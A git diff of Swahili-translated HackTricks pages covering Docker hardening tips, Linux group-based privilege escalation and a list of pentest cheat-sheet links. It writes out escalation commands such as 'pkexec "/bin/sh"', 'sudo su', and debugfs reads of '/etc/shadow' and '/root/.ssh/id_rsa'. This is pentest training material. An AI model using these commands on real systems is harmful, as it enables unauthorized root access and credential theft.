|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Kwa siri zinazohitajika katika kontena linalofanya kazi, **Docker Compose na Kubernetes** zinatoa suluhisho thabiti. Docker Compose inatumia ufunguo wa `secrets` katika ufafanuzi wa huduma kwa ajili ya kubainisha faili za siri, kama inavyoonyeshwa katika mfano wa `docker-compose.yml`:
|
||||
Kwa siri zinazohitajika katika kontena linalofanya kazi, **Docker Compose na Kubernetes** hutoa suluhisho thabiti. Docker Compose inatumia ufunguo wa `secrets` katika ufafanuzi wa huduma kwa ajili ya kubainisha faili za siri, kama inavyoonyeshwa katika mfano wa `docker-compose.yml`:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
@ -305,40 +305,44 @@ file: ./my_secret_file.txt
|
||||
```
|
||||
Hii usanidi inaruhusu matumizi ya siri wakati wa kuanzisha huduma na Docker Compose.
|
||||
|
||||
Katika mazingira ya Kubernetes, siri zinasaidiwa kwa asili na zinaweza kusimamiwa zaidi kwa zana kama [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Udhibiti wa Upatikanaji Kulingana na Majukumu (RBAC) wa Kubernetes unaboresha usalama wa usimamizi wa siri, sawa na Docker Enterprise.
|
||||
Katika mazingira ya Kubernetes, siri zinasaidiwa kiasili na zinaweza kusimamiwa zaidi kwa zana kama [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Udhibiti wa Upatikanaji Kulingana na Majukumu (RBAC) wa Kubernetes unaboresha usalama wa usimamizi wa siri, sawa na Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** ni kernel ya programu, iliyoandikwa kwa Go, ambayo inatekeleza sehemu kubwa ya uso wa mfumo wa Linux. Inajumuisha runtime ya [Open Container Initiative (OCI)](https://www.opencontainers.org) inayoitwa `runsc` ambayo inatoa **mipaka ya kutengwa kati ya programu na kernel ya mwenyeji**. Runtime ya `runsc` inajumuishwa na Docker na Kubernetes, na kufanya iwe rahisi kuendesha kontena zilizowekwa kwenye sanduku.
|
||||
**gVisor** ni kernel ya programu, iliyoandikwa kwa Go, inayotekeleza sehemu kubwa ya uso wa mfumo wa Linux. Inajumuisha runtime ya [Open Container Initiative (OCI)](https://www.opencontainers.org) inayoitwa `runsc` ambayo inatoa **mipaka ya kutengwa kati ya programu na kernel ya mwenyeji**. Runtime ya `runsc` inajumuishwa na Docker na Kubernetes, na kufanya iwe rahisi kuendesha kontena zilizowekwa kwenye sanduku.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
{{#endref}}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** ni jamii ya chanzo wazi inayofanya kazi kujenga runtime salama ya kontena yenye mashine za virtual nyepesi ambazo zina hisia na utendaji kama kontena, lakini zinatoa **kutengwa kwa mzigo mzito zaidi kwa kutumia teknolojia ya virtualisasi ya vifaa** kama safu ya pili ya ulinzi.
|
||||
**Kata Containers** ni jamii ya chanzo wazi inayofanya kazi kujenga runtime salama ya kontena yenye mashine za virtual nyepesi ambazo zina hisia na utendaji kama kontena, lakini zinatoa **kutengwa kwa mzigo zaidi kwa kutumia teknolojia ya virtualisasi ya vifaa** kama safu ya pili ya ulinzi.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
{{#endref}}
|
||||
|
||||
### Vidokezo vya Muhtasari
|
||||
|
||||
- **Usitumie bendera ya `--privileged` au kuunganisha** [**Docker socket ndani ya kontena**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Socket ya docker inaruhusu kuanzisha kontena, hivyo ni njia rahisi ya kuchukua udhibiti kamili wa mwenyeji, kwa mfano, kwa kuendesha kontena nyingine na bendera ya `--privileged`.
|
||||
- Usifanye **kama root ndani ya kontena. Tumia** [**mtumiaji tofauti**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **na** [**majina ya watumiaji**](https://docs.docker.com/engine/security/userns-remap/)**.** Root ndani ya kontena ni sawa na kwenye mwenyeji isipokuwa ikirekebishwa na majina ya watumiaji. Inapunguziliwa mbali kidogo na, hasa, majina ya Linux, uwezo, na cgroups.
|
||||
- [**Ondoa uwezo wote**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) na wezesha tu wale wanaohitajika** (`--cap-add=...`). Mengi ya mzigo hayahitaji uwezo wowote na kuongeza uwezo huongeza wigo wa shambulio linaloweza kutokea.
|
||||
- [**Tumia chaguo la usalama "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) kuzuia michakato kupata zaidi ya uwezo, kwa mfano kupitia binaries za suid.
|
||||
- [**Ondoa uwezo wote**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) na wezesha tu wale wanaohitajika** (`--cap-add=...`). Mzigo mwingi hauhitaji uwezo wowote na kuongeza uwezo huongeza wigo wa shambulio linaloweza kutokea.
|
||||
- [**Tumia chaguo la usalama "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ili kuzuia michakato kupata zaidi ya uwezo, kwa mfano kupitia binaries za suid.
|
||||
- [**Punguza rasilimali zinazopatikana kwa kontena**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Mipaka ya rasilimali inaweza kulinda mashine kutokana na mashambulizi ya kukataa huduma.
|
||||
- **Sahihisha** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(au SELinux)** wasifu ili kupunguza vitendo na syscalls vinavyopatikana kwa kontena hadi kiwango cha chini kinachohitajika.
|
||||
- **Tumia** [**picha rasmi za docker**](https://docs.docker.com/docker-hub/official_images/) **na uhitaji saini** au jenga yako mwenyewe kulingana nazo. Usirithi au kutumia [picha zenye backdoor](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) . Pia hifadhi funguo za root, neno la siri mahali salama. Docker ina mipango ya kusimamia funguo na UCP.
|
||||
- **Kila wakati** **jenga upya** picha zako ili **kuweka sasisho za usalama kwa mwenyeji na picha.**
|
||||
- Simamia **siri zako kwa busara** ili iwe vigumu kwa mshambuliaji kuzipata.
|
||||
- Ikiwa **unafichua docker daemon tumia HTTPS** na uthibitishaji wa mteja na seva.
|
||||
- Katika Dockerfile yako, **pendelea COPY badala ya ADD**. ADD inatoa kiotomatiki kufungua faili zilizoshonwa na inaweza nakala faili kutoka URL. COPY haina uwezo huu. Kila wakati inapowezekana, epuka kutumia ADD ili usiwe na hatari ya mashambulizi kupitia URL za mbali na faili za Zip.
|
||||
- Ikiwa un **weka docker daemon tumia HTTPS** na uthibitishaji wa mteja na seva.
|
||||
- Katika Dockerfile yako, **pendelea COPY badala ya ADD**. ADD inatoa kiotomatiki kufungua faili zilizoshonwa na inaweza nakala faili kutoka URL. COPY haina uwezo huu. Kila wakati inapowezekana, epuka kutumia ADD ili usiwe hatarini kwa mashambulizi kupitia URL za mbali na faili za Zip.
|
||||
- Kuwa na **kontena tofauti kwa kila huduma ndogo**
|
||||
- **Usiweke ssh** ndani ya kontena, “docker exec” inaweza kutumika kuingia kwenye Kontena.
|
||||
- Kuwa na **picha za** kontena **ndogo**
|
||||
- Kuwa na **picha za kontena** **ndogo**
|
||||
|
||||
## Docker Breakout / Privilege Escalation
|
||||
|
||||
Ikiwa uko **ndani ya kontena ya docker** au una ufikiaji wa mtumiaji katika **kikundi cha docker**, unaweza kujaribu **kutoroka na kupandisha mamlaka**:
|
||||
Ikiwa uko **ndani ya kontena la docker** au una ufikiaji wa mtumiaji katika **kikundi cha docker**, unaweza kujaribu **kutoroka na kupandisha mamlaka**:
|
||||
|
||||
{{#ref}}
|
||||
docker-breakout-privilege-escalation/
|
||||
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
|
||||
Ikiwa una ufikiaji wa socket ya docker au una ufikiaji wa mtumiaji katika **kikundi cha docker lakini vitendo vyako vinapunguziliwa mbali na plugin ya uthibitishaji ya docker**, angalia ikiwa unaweza **kuipita:**
|
||||
Ikiwa una ufikiaji wa socket ya docker au una ufikiaji wa mtumiaji katika **kikundi cha docker lakini vitendo vyako vinapunguziliwa mbali na plugin ya uthibitishaji wa docker**, angalia ikiwa unaweza **kuipita:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -354,8 +358,8 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## Hardening Docker
|
||||
|
||||
- Chombo [**docker-bench-security**](https://github.com/docker/docker-bench-security) ni skripti inayokagua mazoea bora ya kawaida kuhusu kupeleka kontena za Docker katika uzalishaji. Majaribio yote ni ya kiotomatiki, na yanategemea [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Unahitaji kuendesha chombo kutoka kwa mwenyeji anayekimbia docker au kutoka kwa kontena lenye mamlaka ya kutosha. Pata **jinsi ya kuendesha katika README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
- Zana [**docker-bench-security**](https://github.com/docker/docker-bench-security) ni script inayokagua mazoea bora ya kawaida kuhusu kupeleka kontena za Docker katika uzalishaji. Majaribio yote ni ya kiotomatiki, na yanategemea [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Unahitaji kuendesha zana hiyo kutoka kwa mwenyeji anayekimbia docker au kutoka kwa kontena lenye mamlaka ya kutosha. Pata **jinsi ya kuendesha katika README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Marejeleo
|
||||
|
||||
@ -373,5 +377,4 @@ Unahitaji kuendesha chombo kutoka kwa mwenyeji anayekimbia docker au kutoka kwa
|
||||
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Makundi ya Sudo/Admin
|
||||
|
||||
### **PE - Njia 1**
|
||||
### **PE - Njia ya 1**
|
||||
|
||||
**Wakati mwingine**, **kwa kawaida (au kwa sababu programu fulani inahitaji hivyo)** ndani ya faili ya **/etc/sudoers** unaweza kupata baadhi ya mistari hii:
|
||||
**Wakati mwingine**, **kwa kawaida (au kwa sababu programu fulani inahitaji hivyo)** ndani ya faili **/etc/sudoers** unaweza kupata baadhi ya mistari hii:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -14,7 +14,7 @@
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwa kundi la sudo au admin anaweza kutekeleza chochote kama sudo**.
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwenye kundi la sudo au admin anaweza kutekeleza chochote kama sudo**.
|
||||
|
||||
Ikiwa hii ni hali, **ili kuwa root unaweza tu kutekeleza**:
|
||||
```
|
||||
@ -26,24 +26,24 @@ Pata binaries zote za suid na angalia kama kuna binary **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Ikiwa unapata kwamba binary **pkexec ni binary ya SUID** na unategemea **sudo** au **admin**, huenda unaweza kutekeleza binaries kama sudo ukitumia `pkexec`.\
|
||||
Ikiwa unapata kwamba **pkexec ni binary ya SUID** na unategemea **sudo** au **admin**, huenda unaweza kutekeleza binaries kama sudo ukitumia `pkexec`.\
|
||||
Hii ni kwa sababu kawaida hizo ndizo vikundi ndani ya **polkit policy**. Sera hii kimsingi inatambua ni vikundi vipi vinaweza kutumia `pkexec`. Angalia kwa:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya distros za linux vikundi **sudo** na **admin** vinaonekana.
|
||||
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya disktros za linux vikundi **sudo** na **admin** vinajitokeza.
|
||||
|
||||
Ili **kuwa root unaweza kutekeleza**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
Ikiwa unajaribu kutekeleza **pkexec** na unapata **makosa** haya:
|
||||
Ikiwa unajaribu kutekeleza **pkexec** na unapata **error** hii:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho la tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**:
|
||||
**Sio kwa sababu huna ruhusa bali kwa sababu hujaunganishwa bila GUI**. Na kuna suluhisho kwa tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -60,9 +60,9 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
```
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwenye kundi la wheel anaweza kutekeleza chochote kama sudo**.
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwa kundi la wheel anaweza kutekeleza chochote kama sudo**.
|
||||
|
||||
Ikiwa hii ni hali, **ili kuwa root unaweza tu kutekeleza**:
|
||||
Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
@ -74,11 +74,11 @@ Watumiaji kutoka **group shadow** wanaweza **kusoma** faili **/etc/shadow**:
|
||||
```
|
||||
Hivyo, soma faili na jaribu **kufungua baadhi ya hashes**.
|
||||
|
||||
## Kundi la Wafanyakazi
|
||||
## Kikundi cha Wafanyakazi
|
||||
|
||||
**staff**: Inaruhusu watumiaji kuongeza marekebisho ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kundi "adm", ambalo lina uhusiano zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: Inaruhusu watumiaji kuongeza marekebisho ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kikundi "adm", ambacho kinahusiana zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu zaidi, iwe wewe ni mtumiaji mwenye ruhusa au la.
|
||||
Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu, iwe wewe ni mtumiaji mwenye mamlaka au la.
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts
|
||||
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
|
||||
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
|
||||
```
|
||||
au Wakati wa kuingia kwa kikao kipya cha ssh.
|
||||
au Wakati wa kuingia kwenye kikao kipya cha ssh.
|
||||
```bash
|
||||
$ pspy64
|
||||
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
|
||||
@ -150,7 +150,7 @@ Hata hivyo, ukijaribu **kuandika faili zinazomilikiwa na root** (kama `/etc/shad
|
||||
|
||||
## Kundi la Video
|
||||
|
||||
Kwa kutumia amri `w` unaweza kupata **nani amejiandikisha kwenye mfumo** na itakuonyesha matokeo kama ifuatavyo:
|
||||
Kwa kutumia amri `w` unaweza kupata **nani aliyeingia kwenye mfumo** na itakuonyesha matokeo kama ifuatavyo:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
@ -173,7 +173,7 @@ Kisha badilisha Upana na Kimo kuwa zile zinazotumika kwenye skrini na angalia Ai
|
||||
|
||||
## Kundi la Root
|
||||
|
||||
Inaonekana kwamba kwa kawaida **wanachama wa kundi la root** wanaweza kuwa na ufikiaji wa **kubadilisha** baadhi ya **faili za usanidi** wa **huduma** au baadhi ya **faili za maktaba** au **mambo mengine ya kuvutia** ambayo yanaweza kutumika kuongeza mamlaka...
|
||||
Inaonekana kama kwa kawaida **wanachama wa kundi la root** wanaweza kuwa na ufikiaji wa **kubadilisha** baadhi ya faili za usanidi wa **huduma** au baadhi ya faili za **maktaba** au **mambo mengine ya kuvutia** ambayo yanaweza kutumika kuongeza mamlaka...
|
||||
|
||||
**Angalia ni faili zipi wanachama wa root wanaweza kubadilisha**:
|
||||
```bash
|
||||
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Docker Group
|
||||
|
||||
Unaweza **kuunganisha mfumo wa faili wa mizizi wa mashine mwenyeji kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inachaji mara moja `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi mizizi kwenye mashine.
|
||||
Unaweza **kuunganisha mfumo wa faili wa mizizi wa mashine mwenyeji kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inachukua mara moja `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi mizizi kwenye mashine.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
@ -199,11 +199,15 @@ Hatimaye, ikiwa hupendi mapendekezo yoyote ya awali, au hayafanyi kazi kwa sabab
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Ikiwa una ruhusa za kuandika juu ya docker socket soma [**hiki kipande kuhusu jinsi ya kupandisha mamlaka kwa kutumia docker socket**](../#writable-docker-socket)**.**
|
||||
Ikiwa una ruhusa za kuandika juu ya socket ya docker soma [**hiki kipande kuhusu jinsi ya kupandisha mamlaka kwa kutumia socket ya docker**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
## Kundi la lxc/lxd
|
||||
|
||||
@ -214,7 +218,7 @@ Ikiwa una ruhusa za kuandika juu ya docker socket soma [**hiki kipande kuhusu ji
|
||||
## Kundi la Adm
|
||||
|
||||
Kwa kawaida **wanachama** wa kundi **`adm`** wana ruhusa za **kusoma faili za log** zilizopo ndani ya _/var/log/_.\
|
||||
Hivyo, ikiwa umepata mtumiaji ndani ya kundi hili unapaswa kuangalia **logi**.
|
||||
Hivyo, ikiwa umepata mtumiaji ndani ya kundi hili unapaswa kwa hakika kuangalia **logi**.
|
||||
|
||||
## Kundi la Auth
|
||||
|
||||
|
@ -1,11 +1,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Sudo/Admin Groups
|
||||
|
||||
## **PE - Method 1**
|
||||
|
||||
**Wakati mwingine**, **kwa kawaida \(au kwa sababu programu fulani inahitaji hivyo\)** ndani ya faili ya **/etc/sudoers** unaweza kupata baadhi ya mistari hii:
|
||||
**Wakati mwingine**, **kwa kawaida \(au kwa sababu programu fulani inahitaji hivyo\)** ndani ya faili **/etc/sudoers** unaweza kupata baadhi ya mistari hii:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -13,7 +12,7 @@
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwenye kundi la sudo au admin anaweza kutekeleza chochote kama sudo**.
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwa kundi la sudo au admin anaweza kutekeleza chochote kama sudo**.
|
||||
|
||||
Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**:
|
||||
```text
|
||||
@ -29,7 +28,7 @@ Ikiwa unapata kwamba binary pkexec ni binary ya SUID na unategemea sudo au admin
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya linux vinaweza **kuonekana** baadhi ya vikundi **sudo au admin**.
|
||||
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa default** katika baadhi ya linux vinaweza **kuonekana** baadhi ya vikundi **sudo au admin**.
|
||||
|
||||
Ili **kuwa root unaweza kutekeleza**:
|
||||
```bash
|
||||
@ -41,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho la tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**:
|
||||
**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho kwa tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -60,7 +59,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
```
|
||||
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwa kundi la wheel anaweza kutekeleza chochote kama sudo**.
|
||||
|
||||
Ikiwa hii ni hali, **ili kuwa root unaweza tu kutekeleza**:
|
||||
Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
@ -84,12 +83,12 @@ debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Kumbuka kwamba ukitumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala ya `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
|
||||
Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala ya `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Hata hivyo, ikiwa unajaribu **kuandika faili zinazomilikiwa na root** \(kama `/etc/shadow` au `/etc/passwd`\) utapata kosa la "**Ruhusa imekataliwa**".
|
||||
Hata hivyo, ukijaribu **kuandika faili zinazomilikiwa na root** \(kama `/etc/shadow` au `/etc/passwd`\) utapata kosa la "**Permission denied**".
|
||||
|
||||
# Video Group
|
||||
|
||||
@ -124,15 +123,18 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Kundi la Docker
|
||||
|
||||
Unaweza kuunganisha mfumo wa faili wa mizizi wa mashine mwenyeji kwenye kiasi cha mfano, hivyo wakati mfano unapoanza, mara moja inachaji `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi mizizi kwenye mashine hiyo.
|
||||
Unaweza kuunganisha mfumo wa faili wa mwenyeji kwenye kiasi cha mfano, hivyo wakati mfano unapoanza, mara moja inachaji `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi root kwenye mashine.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# Kundi la lxc/lxd
|
||||
|
||||
[lxc - Kuinua Haki](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
